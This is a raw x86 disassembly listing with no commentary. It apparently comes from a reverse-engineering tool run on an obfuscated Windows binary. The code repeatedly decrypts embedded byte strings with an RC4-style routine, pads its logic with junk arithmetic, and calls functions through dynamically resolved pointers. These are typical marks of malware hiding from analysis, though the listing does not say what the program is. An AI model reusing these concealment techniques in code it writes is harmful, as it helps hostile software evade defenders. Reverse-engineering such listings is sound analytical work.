mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf3d91
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
inc eax
cmp eax, 0xf00
je 0xdf3df1
cmp byte [eax + 0xdd2f70], bl
jne 0xdf3ddc
mov eax, dword [ebp - 0x60]
jmp 0xdf3df8
imul eax, dword [ebp - 0xc], 0x1a8841db
add eax, 0x3b3ea164
mov dword [ebp - 0x60], eax
mov dword [0xe1a6bc], eax
imul eax, dword [ebp - 0xc], 0xeff2caa4
push 6
mov dword [ebp - 0xc], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x5c]
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x5c], eax
mov al, byte [ebp + eax - 0x218]
mov byte [ebp + edi - 0x218], al
mov eax, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x480], al
inc esi
pop eax
cmp esi, eax
jb 0xdf3dda
push 0xa
mov byte [ebp - 0x47a], bl
pop esi
mov dword [ebp - 0x18], 0x18
mov dword [ebp - 0x14], 0x3de
mov eax, dword [ebp - 0x60]
xor eax, 0xb96c85fa
sub eax, 0x2cd4eee
mov dword [0xe1a6c0], eax
mov eax, 0xe1a648
mov edx, eax
mov ecx, eax
call fcn.00df192f
mov eax, ebx
add esi, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf3ea6
push 5
mov dword [ebp - 0x250], esi
mov ecx, 0xe00
mov dword [ebp - 0x24], 0x3a
mov eax, ebx
mov dword [ebp - 0x20], 0x53
mov dword [ebp - 0x1c], 0x3c
mov dword [ebp - 0x18], 0x41
mov dword [ebp - 0x14], 0xaf6
pop edi
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edi
jl 0xdf3ee3
mov esi, 0xdd10b8
mov dword [ebp - 0x3cc], ecx
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x58], 0xaaacd3bf
push 0x17
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x53], al
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x47], al
mov eax, ebx
mov byte [ebp - 0x54], 0xec
mov dword [ebp - 0x52], 0x75d174b3
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x4e], 0xcdddd385
mov edi, ebx
mov word [ebp - 0x4a], 0x364b
mov byte [ebp - 0x48], 0x4b
mov dword [ebp - 0x46], 0x76f78aab
mov dword [ebp - 0x42], 0x40ce3c5d
mov dword [ebp - 0x3e], 0xf6ef3fb1
mov dword [ebp - 0x3a], 0x45375449
mov dword [ebp - 0x36], 0xd4a3feff
mov dword [ebp - 0x32], 0x15b78a81
mov word [ebp - 0x2e], 0xa92e
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf3f60
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0xb
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf3f71
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [0xe1a6c0]
mov edx, 0xdd2fd0
add eax, 0x507cd203
mov ecx, 0xe1a648
mov dword [0xe1a6bc], eax
call fcn.00df192f
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x58]
mov byte [ebp + esi - 0x9a8], al
inc esi
cmp esi, 0x2c
jb 0xdf3fb4
mov esi, 0xdd2b44
mov dword [ebp - 0x14], 0xf37e4bee
lea edi, [ebp - 0xf0]
mov word [ebp - 0x10], 0xba4d
xor ebx, ebx
mov byte [ebp - 0x97c], bl
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf404a
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 9
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xf0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf405b
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x488], al
inc esi
pop eax
cmp esi, eax
jb 0xdf40a1
push 0x14
pop eax
push 7
mov byte [ebp - 0x52], al
lea edi, [ebp - 0x7c]
pop eax
mov byte [ebp - 0x47], al
xor ebx, ebx
push 5
pop eax
mov ecx, eax
mov byte [ebp - 0x482], bl
mov esi, 0xdd2b50
mov dword [ebp - 0x58], 0x2b8785b0
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x54], 0x531f
mov edi, ebx
mov dword [ebp - 0x51], 0x76665ebc
mov eax, ebx
mov dword [ebp - 0x4d], 0x5ea3ec5e
mov word [ebp - 0x49], 0xf87a
mov dword [ebp - 0x46], 0x46153a93
mov dword [ebp - 0x42], 0x7c3d648d
mov dword [ebp - 0x3e], 0x3920d2aa
mov dword [ebp - 0x3a], 0xee7fad66
mov dword [ebp - 0x36], 0x7dadb25c
mov dword [ebp - 0x32], 0xbe955cf7
mov word [ebp - 0x2e], 0x85e1
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf416b
mov al, byte [0xe1a648]
mov ecx, 0xe1a648
test al, al
je 0xdf419c
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0xdf44bb
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf418b
mov eax, dword [0xe1a6bc]
imul eax, eax, 0x80741251
mov esi, ebx
mov dword [ebp - 0x5c], eax
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0x13
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x7c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf41ac
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x58]
mov byte [ebp + esi - 0x9d8], al
inc esi
cmp esi, 0x2c
jb 0xdf41ef
mov eax, dword [ebp - 0xb4]
lea edi, [ebp - 0xec]
mov esi, 0xdd2b64
mov byte [ebp - 0x11], al
xor ebx, ebx
mov word [ebp - 0x14], 0x3597
mov byte [ebp - 0x9ac], bl
mov eax, ebx
mov byte [ebp - 0x12], 0xe9
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x10], 0xb14c
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf4273
mov eax, dword [ebp - 0x5c]
mov esi, ebx
or eax, 0x1c99e62b
mov dword [ebp - 0x5c], eax
mov dword [0xe1a6bc], eax
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 6
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xec]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf4294
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
pop ecx
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x448], al
inc esi
cmp esi, ecx
jb 0xdf42da
push 9
mov esi, 0xdd2b6c
mov dword [ebp - 0x58], 0xec60a3bd
pop eax
lea edi, [ebp - 0x1c]
mov byte [ebp - 0x49], al
push 0x12
movsd dword es:[edi], dword [esi]
xor ebx, ebx
pop eax
push 7
mov byte [ebp - 0x3d], al
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0x34], al
push 0x19
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0x2e], al
mov eax, ebx
mov byte [ebp - 0x442], bl
movsw word es:[edi], word [esi]
mov dword [ebp - 0x54], 0xaf9468e0
mov edi, ebx
mov dword [ebp - 0x50], 0x7cefcf87
mov word [ebp - 0x4c], 0x1179
mov byte [ebp - 0x4a], 0xad
mov dword [ebp - 0x48], 0x931c83cc
mov word [ebp - 0x44], 0x376c
mov byte [ebp - 0x42], 0xfe
mov byte [ebp - 0x41], cl
mov word [ebp - 0x40], 0x1c0a
mov byte [ebp - 0x3e], 0x44
mov dword [ebp - 0x3c], 0x3155afeb
mov dword [ebp - 0x38], 0xf850480a
mov dword [ebp - 0x33], 0x49fc7074
mov byte [ebp - 0x2f], 3
mov byte [ebp - 0x2d], 0x42
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf43b7
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0xd
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf43c8
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x58]
mov byte [ebp + esi - 0xa08], al
inc esi
cmp esi, 0x2c
jb 0xdf440b
mov eax, dword [ebp - 0x5c]
mov edx, 0xdd21e0
add eax, 0xa1821cb5
mov ecx, 0xdd23d0
mov dword [0xe1a6c0], eax
call fcn.00df1a8a
mov esi, 0xdd2b7c
mov dword [ebp - 0x14], 0x82346754
lea edi, [ebp - 0xf4]
mov word [ebp - 0x10], 0x78b0
xor ebx, ebx
mov ecx, 0xdd2fd0
push 9
movsd dword es:[edi], dword [esi]
mov al, 0x63
mov byte [ebp - 0x9dc], bl
pop edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
sub al, 0x30
cmp al, dl
ja 0xdf44ca
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf44a7
mov eax, dword [0xe1a6bc]
jmp 0xdf44d4
mov eax, dword [0xe1a6c0]
and eax, 0x326b555c
jmp 0xdf41a1
mov eax, dword [0xe1a6bc]
and eax, 0xf2a4e145
sub eax, 0x1d5c8d19
mov edx, 0xdd2b8c
mov ecx, 0xdd2ba0
mov dword [0xe1a6bc], eax
call fcn.00df1a8a
mov ecx, dword [0xe1a6bc]
mov eax, ebx
xor ecx, 0x4bf1fb06
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf44f5
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0xc
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xf4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf450c
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x450], al
inc esi
pop eax
cmp esi, eax
jb 0xdf4552
xor ebx, ebx
mov dword [ebp - 0x18], 0x28
push 0x35
mov byte [ebp - 0x44a], bl
mov eax, ebx
pop ecx
mov dword [ebp - 0x14], 0xffffffa3
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 2
jl 0xdf45bf
push 0x32
mov dword [ebp - 0xe8], ecx
pop ecx
push 5
pop eax
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x1c], 0x5b
mov dword [ebp - 0x14], 0xffffff6e
add ecx, dword [ebp + eax*4 - 0x1c]
inc eax
cmp eax, 3
jl 0xdf45e8
push dword [ebp - 0x414]
mov eax, dword [0xe1a6c0]
push dword [ebp - 0x418]
mov dword [ebp - 0x14], ecx
xor eax, 0xc4989530
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x458]
mov dword [0xe1a6bc], eax
push dword [ebp - 0x420]
push dword [ebp - 0x424]
call fcn.00dee9eb
mov edx, eax
lea ecx, [ebp - 0x7a4]
call fcn.00dee9ca
call eax
mov dword [ebp - 0x60], eax
test eax, eax
jne 0xdf4690
mov dword [ebp - 0x20], 0xb
xorps xmm1, xmm1
mov dword [ebp - 0x1c], 0x3d
mov dword [ebp - 0x18], 0x3a
mov dword [ebp - 0x14], 0xffffff86
movups xmm0, xmmword [ebp - 0x20]
push 9
pop ecx
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, ecx
jmp 0xdf62dc
mov edi, dword [ebp - 0x428]
mov ecx, edi
call fcn.00e05897
mov ecx, dword [ebp - 0x42c]
mov esi, eax
add ecx, ecx
call fcn.00dee8ce
mov dword [ebp - 0xc], eax
inc ebx
cmp ebx, 0x1d47
jg 0xdf46c9
cmp byte [ebx + 0xdd2fd0], 0
jne 0xdf46af
mov ecx, dword [0xe1a6c0]
jmp 0xdf46e4
mov edx, 0xdd2bcc
mov ecx, 0xdd2bf0
call fcn.00df1a8a
mov ecx, dword [0xe1a6c0]
sub ecx, 0x2fc58b5f
imul eax, ecx, 0x79c564e3
mov dword [0xe1a6bc], eax
mov ebx, dword [ebp + 0x14]
or ecx, 0xd8212f42
mov dword [0xe1a6c0], ecx
mov edx, edi
push esi
mov ecx, ebx
call fcn.00e05378
pop ecx
cmp esi, dword [ebp - 0x430]
jbe 0xdf4721
mov ecx, ebx
call fcn.00e05863
mov edx, eax
mov ecx, ebx
call fcn.00ded605
lea edx, [ebp - 0xfe]
mov ecx, ebx
call fcn.00e05f0d
lea ecx, [ebp - 0x7c0]
mov edi, eax
call fcn.00e0520f
mov ecx, dword [ebp - 0x434]
mov esi, eax
mov edx, esi
call fcn.00e05f0d
mov ecx, esi
mov ebx, eax
call fcn.00e05863
push eax
push dword [ebp - 0x438]
push esi
call fcn.00e05117
mov ecx, esi
call fcn.00dee98d
mov ecx, ebx
call fcn.00e05fc0
mov ecx, edi
mov esi, eax
call fcn.00e05863
mov ecx, dword [ebp - 0xc]
mov edx, edi
push eax
call fcn.00e05426
mov ecx, dword [ebp - 0x43c]
add ecx, ecx
push ecx
push dword [ebp - 0x440]
push dword [ebp + 0x14]
call fcn.00e05117
mov ecx, edi
call fcn.00e05863
push eax
push dword [ebp - 0x3f0]
push edi
call fcn.00e05117
mov ecx, ebx
call fcn.00e05863
push eax
push dword [ebp - 0x3f4]
push ebx
call fcn.00e05117
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x460]
add esp, 0x34
push dword [ebp - 0x3f8]
push dword [ebp - 0x3fc]
push dword [ebp - 0x400]
push dword [ebp - 0x404]
push dword [ebp - 0xe4]
push esi
push ebx
push dword [ebp - 0x60]
call fcn.00dee9eb
mov edx, eax
lea ecx, [ebp - 0x828]
call fcn.00dee9ca
call eax
mov dword [ebp - 0x5c], eax
test eax, eax
jne 0xdf4b61
mov al, byte [0xe1a648]
test al, al
je 0xdf4832
push 9
pop ecx
sub al, 0x30
cmp al, cl
ja 0xdf4b50
mov esi, dword [0xe1a6bc]
push 0x14
pop eax
mov byte [ebp - 0x4b], al
sub esi, 0x3c753668
push 6
pop eax
mov byte [ebp - 0x37], al
push 0xd
pop eax
mov byte [ebp - 0x2e], al
mov eax, dword [0xdd2c38]
mov dword [ebp - 0x14], eax
mov ax, word [0xdd2c3c]
mov word [ebp - 0x10], ax
xor eax, eax
mov dword [ebp - 0x58], 0x35c2e578
mov ecx, eax
mov dword [ebp - 0x54], 0xd27c2a94
mov dword [ebp - 0x50], 0xf4607118
mov byte [ebp - 0x4c], 0x44
mov dword [ebp - 0x4a], 0x18a09d8a
mov dword [ebp - 0x46], 0x629e95d2
mov dword [ebp - 0x42], 0xfb0284ef
mov dword [ebp - 0x3e], 0x8e1cd8ad
mov word [ebp - 0x3a], 0xcef7
mov byte [ebp - 0x38], 0x15
mov dword [ebp - 0x36], 0x49f75efb
mov dword [ebp - 0x32], 0xbf5dcbae
mov byte [ebp - 0x2d], 0xdf
mov dword [ebp - 8], esi
mov dword [0xe1a6bc], esi
mov dword [ebp - 0x64], eax
mov byte [ebp + ecx - 0x218], cl
inc ecx
cmp ecx, 0x100
jb 0xdf48c3
mov eax, dword [ebp - 0x408]
add eax, eax
push eax
push dword [ebp - 0x40c]
push ebx
call fcn.00e05117
add esp, 0xc
mov ecx, ebx
call fcn.00dee98d
mov ecx, dword [ebp - 0x3dc]
call fcn.00e0523e
mov ecx, dword [ebp + 8]
mov edi, eax
call fcn.00e0523e
push dword [ebp - 0x108]
cmp dword [ebp - 0x3d0], 0
mov esi, eax
mov eax, 0x800000
mov ecx, 0x400000
cmovne ecx, eax
push ecx
push dword [ebp - 0x3d4]
lea ecx, [ebp - 0x468]
push dword [ebp - 0x3c8]
push dword [ebp - 0x110]
push esi
push edi
push dword [ebp - 0x5c]
call fcn.00dee9eb
mov edx, eax
lea ecx, [ebp - 0x858]
call fcn.00dee9ca
call eax
mov ebx, eax
mov ecx, edi
mov dword [ebp - 8], ebx
call fcn.00e05897
push eax
push dword [ebp - 0x118]
push edi
call fcn.00e05117
mov ecx, esi
call fcn.00e05897
push eax
push dword [ebp - 0x98]
push esi
call fcn.00e05117
add esp, 0x18
mov ecx, edi
call fcn.00dee98d
mov ecx, esi
call fcn.00dee98d
test ebx, ebx
jne 0xdf515e
mov eax, dword [ebp - 0xb4]
mov byte [ebp - 0x46], al
mov eax, ebx
mov dword [ebp - 0x58], 0x95bdf1f3
mov dword [ebp - 0x54], 0xc39f15ab
mov dword [ebp - 0x50], 0xbfafef49
mov dword [ebp - 0x4c], 0x20408593
mov word [ebp - 0x48], 0x2375
mov dword [ebp - 0x45], 0xa196cde5
mov dword [ebp - 0x41], 0xcf9e7246
mov dword [ebp - 0x3d], 0xc3db8329
mov dword [ebp - 0x39], 0xddc0cc2e
mov dword [ebp - 0x35], 0x41fe9c4f
mov dword [ebp - 0x31], 0xf4b63ed7
mov byte [ebp - 0x2d], 0x57
cmp byte [0xe1a648], al
je 0xdf4ca0
lea eax, [ebp - 0x410]
mov dword [ebp - 0x410], 4
push eax
lea eax, [ebp - 0xfc]
push eax
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x470]
push ebx
call fcn.00dee9eb
mov edx, eax
lea ecx, [ebp - 0x888]
call fcn.00dee9ca
call eax
test eax, eax
je 0xdf57ac
pop edi
pop esi
pop ebx
leave
ret